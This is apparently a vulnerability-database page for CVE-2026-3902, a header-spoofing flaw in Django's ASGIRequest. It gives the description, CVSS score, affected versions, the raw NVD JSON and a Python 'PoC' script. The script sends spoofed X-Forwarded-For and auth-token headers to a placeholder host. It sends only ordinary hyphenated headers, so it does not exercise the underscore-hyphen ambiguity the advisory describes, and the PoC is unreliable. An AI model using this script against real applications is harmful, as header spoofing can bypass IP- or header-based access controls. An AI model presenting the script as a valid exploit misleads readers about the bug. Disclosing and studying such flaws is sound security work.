Security Vulnerability Report
中文
CVE-2026-3902 CVSS 7.5 HIGH

CVE-2026-3902

Published: 2026-04-07 15:17:46
Last Modified: 2026-04-13 17:38:06
Source: 6a34fbeb-21d4-45e7-8e0a-62b95bc12c92

Description

An issue was discovered in 6.0 before 6.0.4, 5.2 before 5.2.13, and 4.2 before 4.2.30. `ASGIRequest` allows a remote attacker to spoof headers by exploiting an ambiguous mapping of two header variants (with hyphens or with underscores) to a single version with underscores. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected. Django would like to thank Tarek Nakkouch for reporting this issue.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:* - VULNERABLE
Django 6.0 < 6.0.4
Django 5.2 < 5.2.13
Django 4.2 < 4.2.30
Django 5.0.x (可能受影响)
Django 4.1.x (可能受影响)
Django 3.2.x (可能受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import asyncio import httpx async def exploit_asgi(): """ PoC for CVE-2026-3902: Django ASGI Header Spoofing Demonstrates sending a hyphenated header to potentially override an underscore-parsed header in vulnerable Django versions. """ target_url = "http://vulnerable-django-app/api/test" # Attempt to spoof a header that the application might trust. # For example, if the app looks for 'X_FORWARDED_FOR' (underscore), # we send 'X-Forwarded-For' (hyphen) which might map to the same key # or cause ambiguous behavior in the vulnerable ASGI handler. headers = { "User-Agent": "CVE-2026-3902-Scanner", "X-Forwarded-For": "1.1.1.1", # Spoofed IP "X-Auth-Secret": "spoofed_admin_token" } async with httpx.AsyncClient() as client: try: response = await client.get(target_url, headers=headers, timeout=5.0) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Body: {response.text[:200]}") except Exception as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": asyncio.run(exploit_asgi())

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3902", "sourceIdentifier": "6a34fbeb-21d4-45e7-8e0a-62b95bc12c92", "published": "2026-04-07T15:17:46.353", "lastModified": "2026-04-13T17:38:05.533", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in 6.0 before 6.0.4, 5.2 before 5.2.13, and 4.2 before 4.2.30.\n`ASGIRequest` allows a remote attacker to spoof headers by exploiting an ambiguous mapping of two header variants (with hyphens or with underscores) to a single version with underscores.\nEarlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.\nDjango would like to thank Tarek Nakkouch for reporting this issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "6a34fbeb-21d4-45e7-8e0a-62b95bc12c92", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-290"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.2", "versionEndExcluding": "4.2.30", "matchCriteriaId": "C78D8198-229F-45A2-B09D-C1D272878E3E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.2", "versionEndExcluding": "5.2.13", "matchCriteriaId": "5ED295FD-7063-40A1-9A3E-C0CC4D6F7BD3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0", "versionEndExcluding": "6.0.4", "matchCriteriaId": "344A677E-BD67-42F0-9746-5B0D4C53815E"}]}]}], "references": [{"url": "https://docs.djangoproject.com/en/dev/releases/security/", "source": "6a34fbeb-21d4-45e7-8e0a-62b95bc12c92", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://groups.google.com/g/django-announce", "source": "6a34fbeb-21d4-45e7-8e0a-62b95bc12c92", "tags": ["Release Notes"]}, {"url": "https://www.djangoproject.com/weblog/2026/apr/07/security-releases/", "source": "6a34fbeb-21d4-45e7-8e0a-62b95bc12c92", "tags": ["Patch", "Vendor Advisory"]}]}}